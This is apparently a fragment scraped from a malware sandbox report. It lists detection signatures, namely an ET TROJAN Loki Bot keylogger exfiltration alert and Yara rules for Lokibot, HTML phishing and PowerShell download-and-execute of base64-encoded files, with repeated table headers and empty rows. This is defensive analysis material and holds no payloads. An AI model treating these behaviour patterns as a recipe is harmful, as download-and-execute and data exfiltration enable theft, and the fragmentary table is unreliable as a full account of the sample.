M22024319ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M2 |
⊘No configs have been found
Source | Rule | Description | Author | Strings |
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JoeSecurity_Lokibot_1 | Yara detected Lokibot | Joe Security |
Source | Rule | Description | Author | Strings |
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JoeSecurity_HtmlPhish_44 | Yara detected HtmlPhish_44 | Joe Security |
Source | Rule | Description | Author | Strings |
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JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
| |
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
Click to see the 1 entries |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |